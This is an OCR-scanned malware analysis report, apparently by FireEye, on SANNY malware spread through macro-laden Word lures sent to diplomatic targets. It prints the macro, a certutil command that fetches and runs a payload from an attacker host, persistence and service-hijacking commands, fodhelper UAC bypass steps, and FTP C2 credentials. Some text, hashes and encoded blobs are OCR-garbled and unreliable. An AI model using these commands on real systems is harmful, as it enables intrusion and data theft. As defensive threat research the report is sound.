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Introduction

In the third week of March 2018, through FireEye’s Dynamic Threat Intelligence, FireEye
discovered malicious macro-based Microsoft Word documents distributing SANNY malware to
multiple governments worldwide. Each malicious document lure was crafted in regard to
relevant regional geopolitical issues. FireEye has tracked the SANNY malware family since
2012 and believes that it is unique to a group focused on Korean Peninsula issues. This group
has consistently targeted diplomatic entities worldwide, primarily using lure documents written
in English and Russian.

As part of these recently observed attacks, the threat actor has made significant changes to
their usual malware delivery method. The attack is now carried out in multiple stages, with
each stage being downloaded from the attacker’s server. Command line evasion techniques,
the capability to infect systems running Windows 10, and use of recent User Account Control
(UAC) bypass techniques have also been added.
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Document Details

The following two documents, detailed below, have been observed in the latest round of

attacks:

MD5 hash: c538b2b2628bba25d68ad601e00ad150

SHA256 hash: b0f30741a2449f4d8d5ffe4b029a6d3959775818bf2e85bab7fea29bd5acafa4

Original Filename: PTH® 2018-2019.doc

The document shown in Figure 1 discusses Eurasian geopolitics as they relate to China, as

well as Russia’s security.

Yr.aydaeHHe eBpasHiickol reono.IHTHKH KHTasi H HHTepechl §€30MAaCHOCTH
PoccHH: TPAHCIIOP THBIH ACIERT.

Tun npoexra: a

Oonacts 3ganna: 07

Kozxnaccndpuraropa PTHE: 07-140

KoaPHTH: 73.01.17

TlpuopuTemoe HampaRTeHHe palEHTHA HAVKH, TeXHOIOTHH M TexHHXM B PoccHiickoil
®egepamrmi, KpuTHIeCKad TexHoTOTHA]

7. TpascnopTHELe H KOCMHYECKHE CHCTEMEL

Danmnna, HyA, 0OTIECTEC PYKOBOIMTELA IPOSKTA:

Apmuctoea Tromvmta bopucoera  TenedoH pyvKOEOIHTENd MPOEKTA:

+7 9858269051

O0seM pHHAHCHPOBAHHA IPOEKTA

Ha 2017 r: 300 000 ( marscoT TeICAY ) pvOaeid Togxa=ata npoexra 2018
T oz oxon=anna nmpoexta 2019

Danmanu, HMEeHa, 0TYSCTEAa OCHOBHEIX HCIIOAHHATE e Cenenora HK.

Haspanne npoexra

Vravbaenne eppasuiickoii reomomTHrM KuTam M mHTepeckl OezomacHocTH PoccHH:
TPAaHCIIOPTHEIA aCIIEKT.

Tun npoexTa

4 - IPOeKT NMpOBeJeHHA HAVUHLIX HCCIeJOBAHMIL, BLINOHAEMEIH HAVYIHEIM KOTEKTHEOM HIH
OTASTLHEIM VIEHEIM

Oo6nacrts 2uanua 07

Koa xnacenduraropa 07-140

JOHO.'H{HTC.TBEEHE KOJEI LL'IB.CCHd)HKE.I’Opﬂ. (IIIJH HATHYHH NPHEOJATCA JOINOTIHHTEIBHEIE KOJRL
KIaccHUEATOPA, K KOTOPEIM MOMKET OBITE 0THeceH mpoekr) 07-110

Kawuerste ciroBa (npreoguTed He Oonee 15 cioE)

OroHovmueckuii mosc lenkoBoro myvrm. wmmTepecsl OezomacHocmi Pd. Eppazuiicrri
IKOHOMHYECKOT 0 COO3. HHTETPALIHA HOBOTO VPOBHA IIEPCIIEKTHEEL, PHCKH

Figure 1: Sample document written in Russian

MD5 hash: 7b0f14d8cd370625aeb8abaf66af28ac

SHA256 hash: e29fad201feba8bd9385893d3c3db42bba094483a51d17e0217ceb7d3a7c08f1
Original Filename: Copy of communication from Security Council Committee (1718).doc
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The document shown in Figure 2 discusses sanctions on humanitarian operations in the
Democratic People’s Republic of Korea (DPRK).

POSTALADDRESS - ADRESSE POSTALE: . <redacted>

CABLE ADDRESS - ADRESSE TELEGRAPHIQUE: <redacted>

REFERENCE: <redacted> 8 December2017

Dear <redacted>

On behalf of the Security Council Committee established pursuant to resolution 1718 (2006), | have the
honour to refer to your letter dated 27 October 2017 on the unintended consequences of sanctions on
humanitarian operations in the Democratic People’s Republicof Korea (DPRK).

The Committee has examined the information contained in your letter and its enclosures, as well as your
request for a formal communication from the Committee to all concerned parties reiterating that
humanitarian activities are exempt from sanctions. In this regard, | wish to recall that the 1718
Committee has provided exemptions in the past for humanitarian projects, as well as its approval for
many other United Nations activities the Committee was consulted on.

Similarly, the Committee stands ready to offer its assistance in clarifying to all UN Member States that
the sanctions measures imposed by the Security Council resolutions on the DPRK are not intended to
have anegative impact on the people of the DPRK. I

Figure 2: Sample document written in English

Macro Analysis

In both documents, an embedded macro stores the malicious command line to be executed in
the TextBox property (TextBox1.Text) of the document. This TextBox property is first accessed
by the macro to execute the command on the system and is then overwritten to delete
evidence of the command line.
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sCmdLine = Environ("windir")
nResult = InStr(Application.Path, "x86")

If nResult <> 0 Then

sCmdLine = sCmdLine + "\sysnative\cmd.exe /q /c "
Else

sCmdLine = sCmdLine + "\system32\cmd.exe /q /c "
End If

sCmdLine = sCmdLine + TextBox1.Text
nResult = Shell(sCmdLine, vbHide)
TextBox1.Text=""
ActiveDocument.Save

Stage 1: BAT File Download

In Stage 1, the macro leverages the legitimate Microsoft Windows certutil.exe utility to
download an encoded Windows Batch (BAT) file from the following URL:
http://more.1apps[.Jcom/1.txt. The macro then decodes the encoded file and drops it in the
%temp% directory with the name: 1.bat.

C:\Windows\system32\cmd.exe /q /c copy /Y
$windir%\System32\certutil.exe %$TEMP%\ct.exe && cd /d
STEMP% && ct —-urlcache -split -f
http://more.lapps.com/l.txt && ct -decode -f 1l.txt
l.bat && del /f /g l.txt && l.bat

There were a few interesting observations in the command line:

1. The macro copies the Microsoft Windows certutil.exe utility to the %temp% directory with
the name: ct.exe. One of the reasons for this is to evade detection by security products.
Recently, FireEye has observed other threat actors using certutil.exe for malicious
purposes. By renaming “certutil.exe” before execution, the malware authors are
attempting to evade simple file-name based heuristic detections.

2. The malicious BAT file is stored as the contents of a fake PEM encoded SSL certificate
(with the BEGIN and END markers) on the Stage 1 URL, as shown in Figure 3. The
“certutil.exe” utility is then leveraged to both strip the BEGIN/END markers and decode
the Base64 contents of the file. FireEye has not previously observed the malware
authors use this technique in past campaigns.
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maore, lapps.com) 1.tk

QGVIaG8ubl ZmDOoNCmlmIGS5vdCEleGladCALiIVESTOASQUIGSUxFUvh40DYp IS Ig
KAOKCHWNOIC1lemx)YUNoZSAte3BeaXQgLiVglnhildHASLYSth3J 1L FheHEzLlv
b38yLnR4dCIgPiBudiwNCyljdCAt ZGVIbZRIICImID TudHhO THY 1 dHV wLielNhY i A+
IGS1hAOKCWRINCAVEiAveSAYLNR4ACA+IGS 1bADEKSE IbHN 1 ICgNCyljdCAtdRTs
T2F jaGUgLXNubG10IC 1ImICTodHRWO18vhWoyZSax TXBweyS jh2 0vNyS50eHQ1 ID4g
bnVsDQoJ¥30gLWRIY29kESAt ZiAzlnR4dCEzZER1aCS J¥YWIgP iBudWwNCo Lk Z W
L2 YgL3EgNyS0eHQYP i BudinlC i kiCg0KZGVa TCOmICIx IGNOLEVA Z3 A+ TGS 1 AOK
DOppZiBub3QgZiXhpe3QgInldHVwLNhY i IgKGdwdGEgRVhIVCKNCgOKaWYgZ Xhp
e3QgIiVQUKSHUKFNRELIMRVILXEthe3B lenNreSENYWIiIChnb3RvIECBULBFULNL
WEKNC lmIGV4aXN0ICT IUFJPRIJETUZITEVTEHg4N ik 1 ZEthe3B lenNreSENYWI A
IChnh3RvIEtBULBFULNLWSKNCOKdnVy IHwy ZrluZHNOc i AvaSAiMTBeLiIgP iBu
AVwIDQppZiAlRVIST1JMRVZFTCUGZXF 1 ID AgKGAvdGagV0 1 ONTAp IGVac2 TgKGdy
dG8gVERFT1RIEVJITEQOED QooV0 LOMTANCWV4cGFuZCBe EXR1cCS I YWIgLUYEKLiAL
VEVNUCUGP i BudWNCrR 1bCAvZiAveSBZZXR1cCS ] YW IgP i BudiniCnlmIGV4aXN0
ICI1IUFJPRIJBTUZITEVTEHg4NiklIikoDQodonVuiGxstz IgdXBkYER]1LRshCEF
bnRyeVBvals0DQop IGVec2 UgKADKC X 1mRsb Dy IHVWZGF 028 S khGugXOVudHT S
TGS pbnRAMTYNC 1 NCdvd GSgRVhIVAOKCQOKOLRIRTSUSEVI w0 KA3V=Y3Ez ZXR1
©C5ITHIgL3F1aW0ICo 1eHRyYWNOOiVIallSkaX I 1XFNSe3 R1bTHy ID4ghnVsDQpk
ZWwgLZ YgL3Ege2VOdEAuYZFiID4ghbnVabOpibGl ib2 SmZulKZ2 90byBF WE 1UDQ0]
Do 6S0F TUEVSUOL ZD0pz ZX0ge 1BhdGu9J UxPOOFMOVEBQREFUQSVe TW1 jen9eb2 20
XEOmZinl3 ZQOKZXhwVUSkIHI 1 AHVwLWNhTi ARy ppecs 1dC4gICVzUGFOaCTgP iEu
AlwIDOpkEWwgLZ VYgL3Ege ZVOdEAuYEZFiID4ghnVsDOpy EWecgYWRKIEKRLQ1Ve U2 9m
dHdhenVe Tl jemSzh2 Z0XFdpbnRvd3NeQ3VyemiudF Z lenNph2 ScUnVuIC90 IFJF
RISTWiAvICAicnVuZGxsNz IgI NQYERoIVRpeGS 1dCSkbGugl2Vydml j ZU1ihaWd 1
ICOMID4ghnVsDOpydiSkbGuzMiile 1BhdGylXGlubiVOLmRsbCBTZXI2 a1 THF b
bgOKZ290byEFUE 1 UDQoJCOOKORVYSVQNCIR 1bC AvZ i AveS Al frRubnguIDdgbnVs

Figure 3: Malicious BAT file stored as an encoded file to appear as an SSL certificate

BAT File Analysis

Once decoded and executed, the BAT file from Stage 1 will download an encoded CAB file
from the base URL: hxxp://more.1apps[.Jcom/. The exact file name downloaded is based on
the architecture of the operating system.

o For a 32-bit operating system: hxxp://more.1apps[.Jcom/2.txt
o For a 64-bit operating system: hxxp://more.1apps[.Jcom/3.txt

Similarly, based on Windows operating system version and architecture, the CAB file is
installed using different techniques. For Windows 10, the BAT file uses rundll32 to invoke the
appropriate function from update.dll (component inside setup.cab).

e For a 32-bit operating system: rundlI32 update.dll _EntryPoint@16
e For a 64-bit operating system: rundll32 update.dll EntryPoint

For other versions of Windows, the CAB file is extracted using the legitimate Windows Update
Standalone Installer (wusa.exe) directly into the system directory:

wusa setup.cab /quiet /extract:%windir%\System32 > nul
del /f /g setup.cab > nul

cliconfg

goto EXIT
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The BAT file also checks for the presence of Kaspersky Lab Antivirus software on the

machine. If found, CAB installation is changed accordingly in an attempt to bypass detection:

set sPath=%LOCALAPPDATA%\Microsoft\Office

expand setup.cab -F:ipnet.* %sPath% > nul

del /f /gq setup.cab > nul

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /t
REG_SZ /d "rundll32 %$sPath%\ipnet.dll ServiceMain" /f > nul
rundl132 %sPath%\ipnet.dll ServiceMain

goto EXIT

Stage 2: CAB File Analysis

As described in the previous section, the BAT file will download the CAB file based on the
architecture of the underlying operating system. The rest of the malicious activities are
performed by the downloaded CAB file.

The CAB file contains the following components:

« install.bat — BAT file used to deploy and execute the components.

e ipnet.dll — Main component that we refer to as SANNY malware.

¢ ipnet.ini — Config file used by SANNY malware.

o« NTWDBLIB.dIl — Performs UAC bypass on Windows 7 (32-bit and 64-bit).
¢ update.dll — Performs UAC bypass on Windows 10.

install.bat will perform the following essential activities:

1. Checks the current execution directory of the BAT file. If it is not the Windows system
directory, then it will first copy the necessary components (ipnet.dll and ipnet.ini) to the
Windows system directory before continuing execution:

echo %~dp0 | findstr /i "system32" > nul
IF %ERRORLEVEL% EQU 0 (GOTO INSTALL) ELSE (GOTO COPYFILE)

:COPYFILE
copy /y %~dpO\ipnet.dll %owindir%\System32 > nul
del /f /q %~dpO\ipnet.dll > nul

copy /y %~dpQO\ipnet.ini %windir%\System32 > nul
del /f /q %~dpO\ipnet.ini > nul
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2. Hijacks a legitimate Windows system service, COMSysApp (COM+ System Application)
by first stopping this service, and then modifying the appropriate Windows service
registry keys to ensure that the malicious ipnet.dll will be loaded when the COMSysApp
service is started:

(INSTALL

sc stop COMSysApp > nul

sc config COMSysApp type= own start= auto error= normal binpath=
"%windir%\System32\svchost.exe -k COMSysApp" > nul

reg add "HKLM\SOFTW ARE\Microsoft\Windows NT\CurrentVersion\SvcHost" /v COMSysApp /t
REG MULTI SZ/d "COMSysApp" /f> nul

reg add "HKLM\SY STEM\CurrentControlSet\Services\COMSysApp\Parameters" /v ServiceDII /t
REG_EXPAND SZ /d "%windir%\System32\ipnet.dll" /f > nul

sc start COMSysApp > nul

3. After the hijacked COMSysApp service is started, it will delete all remaining components
of the CAB file:

del /f/q %~dpO\NTWDBLIB.dIl > nul
del /f /q %~dp0update.dll > nul

del /£ /q %~dp0\dummy.dll > nul

del /f /q %~dpOwacme.exe > nul

ipnet.dll is the main component inside the CAB file that is used for performing malicious
activities. This DLL exports the following two functions:

1. ServiceMain — Invoked when the hijacked system service, COMSysApp, is started.
2. Post — Used to perform data exfiltration to the command and control (C2) server using
FTP protocol.

The ServiceMain function first performs a check to see if it is being run in the context of
svchost.exe or rundll32.exe. If it is being run in the context of svchost.exe, then it will first start
the system service before proceeding with the malicious activities. If it is being run in the
context of rundll32.exe, then it performs the following activities:

1. Deletes the module NTWDBLIB.DLL from the disk using the following command:

cmd /c taskkill /im cliconfg.exe /f /t && del /f /g NTWDBLIB.DLL

2. Sets the code page on the system to 65001, which corresponds to UTF-8:

cmd /c REG ADD HKCU\Console /v CodePage /t REG_DWORD /d 65001 /f
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Command and Control (C2) Communication

SANNY malware uses the FTP protocol as the C2 communication channel.

FTP Config File
The FTP configuration information used by SANNY malware is encoded and stored inside
ipnet.ini.

This file is Base64 encoded using the following custom character set:
SbVIn=BU/dgNP2kWw0oCrm9xaJ3tZX60pFc7Asi4lvuhf-TIMLRQ5GKeEHYgD1yz8

Upon decoding the file, the following credentials can be recovered:

o FTP Server: ftp.capnix[.Jcom
e Username: cnix_21072852
e Password: vlasimir2017

It then continues to perform the connection to the FTP server decoded from the
aforementioned config file, and sets the current directory on the FTP server as “htdocs” using
the FtpSetCurrentDirectoryW function.

System Information Collection

For reconnaissance purposes, SANNY malware executes commands on the system to collect
information, which is sent to the C2 server.

System information is gathered from the machine using the following command:

cmd /c systeminfo > %temp%\temp.ini

The list of running tasks on the system is gathered by executing the following command:

cmd /c tasklist > %temp%\temp.ini

C2 Commands

After successful connection to the FTP server decoded from the configuration file, the malware
searches for a file containing the substring “to everyone” in the “htdocs” directory. This file will
contain C2 commands to be executed by the malware.

Upon discovery of the file with the “to everyone” substring, the malware will download the file
and then performs actions based on the following command names:
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e chip command: This command deletes the existing ipnet.ini configuration file from the file
system and creates a new ipnet.ini file with a specified configuration string. The chip
commands allows the attacker to migrate malware to a new FTP C2 server. The
command has the following syntax:

cmd /c chip <encoded FTP config>

¢ pull command: This command is used for the purpose of data exfiltration. It has the ability
to upload an arbitrary file from the local filesystem to the attacker’s FTP server. The
command has the following syntax:

cmd /c pull <path of the file>

The uploaded file is compressed and encrypted using the routine described later in the
Compression and Encoding Data section.

put command: This command is used to copy an existing file on the system to a new
location and delete the file from the original location. The command has the following
syntax:

Cmd /c put <new _file name> <existing file name>

default command: If the command begins with the substring “cmd /c”, but it is not
followed by either of the previous commands (chip, pull, and put), then it directly
executes the command on the machine using WinExec.

/user command: This command will execute a command on the system as the logged in
user. The command duplicates the access token of “explorer.exe” and spawns a process
using the following steps:

1. Enumerates the running processes on the system to search for the explorer.exe
process and obtain the process ID of explorer.exe.

2. Obtains the access token for the explorer.exe process with the access flags set to
Ox000FO1FF.

3. Starts the application (defined in the C2 command) on the system by calling the
CreateProcessAsUser function and using the access token obtained in Step 2.

C2 Command Purpose
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chip Update the FTP server config file

pull Upload a file from the machine
put Copy an existing file to a new destination
luser Create a new process with explorer.exe access token

default command Execute a program on the machine using WinExec()

Compression and Encoding Data

SANNY malware uses an interesting mechanism for compressing the contents of data
collected from the system and encoding it before exfiltration. Instead of using an archiving
utility, the malware leverages Shell.Application COM object and calls the CopyHere method of
the IShellDispatch interface to perform compression as follows:

1. Creates an empty ZIP file with the name: temp.zip in the %temp% directory.

2. Writes the first 16 bytes of the PK header to the ZIP file.

. Calls the CopyHere method of IShellDispatch interface to compress the collected data
and write to temp.zip.

. Reads the contents of temp.zip to memory.

. Deletes temp.zip from the disk.

. Creates an empty file, post.txt, in the %temp% directory.

. The temp.zip file contents are Base64 encoded (using the same custom character set
mentioned in the previous FTP Config File section) and written to the file:
Y%temp%\post.txt.

8. Calls the FtpPutFileW function to write the contents of post.txt to the remote file with the

format: “from <computer_name_timestamp>.ixt”

w

~N O o b

Execution on Windows 7 and User Account Control (UAC) Bypass

NTWDBLIB.dII — This component from the CAB file will be extracted to the %windir%\system32
directory. After this, the cliconfg command is executed by the BAT file.

The purpose of this DLL module is to launch the install.bat file. The file cliconfg.exe is a
legitimate Windows binary (SQL Client Configuration Utility), loads the library NTWDBLIB.dII
upon execution. Placing a malicious copy of NTWDBLIB.dIl in the same directory as
cliconfg.exe is a technique known as DLL side-loading, and results in a UAC bypass.

Execution on Windows 10 and UAC Bypass
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Update.dll — This component from the CAB file is used to perform UAC bypass on Windows
10. As described in the BAT File Analysis section, if the underlying operating system is
Windows 10, then it uses update.dll to begin the execution of code instead of invoking the
install.bat file directly.

The main actions performed by update.dll are as follows:

1. Executes the following commands to setup the Windows registry for UAC bypass:

cmd /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /t REG SZ /d
% TEMP%\install.bat /f

cmd /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /v
DelegateExecute /t REG SZ /f

2. Leverages a UAC bypass technique that uses the legitimate Windows binary,
fodhelper.exe, to perform the UAC bypass on Windows 10 so that the install.bat file is
executed with elevated privileges:

cmd /c fodhelper && reg delete HKCU\SOFTWARE\Classes\ms-settings /f

3. Creates an additional BAT file, kill.bat, in the current directory to delete evidence of the
UAC bypass. The BAT file kills the current process and deletes the components
update.dll and kill.bat from the file system:

taskkill /PID <pid of current process> /F
del /f /q "<path>\update.dIl"
del /f /q "<path>\kill.bat”

Conclusion

This activity shows us that the threat actors using SANNY malware are evolving their malware
delivery methods, notably by incorporating UAC bypasses and endpoint evasion techniques.
By using a multi-stage attack with a modular architecture, the malware authors increase the
difficulty of reverse engineering and potentially evade security solutions.

Users can protect themselves from such attacks by disabling Office macros in their settings
and practicing vigilance when enabling macros (especially when prompted) in documents,
even if such documents are from seemingly trusted sources.

Indicators of Compromise
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SHA256 Hash Original
Filename

b0f30741a2449f4d8d5ffe4b029a6d3959775818bf2e85bab7fea29bd5acafad PrH® 2018-
2019.doc

e29fad201feba8bd9385893d3c3db42bba094483a51d17e0217ceb7d3a7c08f1 Copy of
communication
from Security
Council
Committee
(1718).doc

eb394523df31fc83aefa402f8015c4a46f534c0a1f224151¢c47e80513ceead6f 1.bat

a2e897c03f313a097dc0f3c524507 1fbacee316cfb3f07785932605046697170  Setup.cab (64-
bit)

a3b2c4746f471bdeabc3d91e2d0547c6f3e7a10a92ce119d92fa70a6d7d3a113  Setup.cab (32-
bit)
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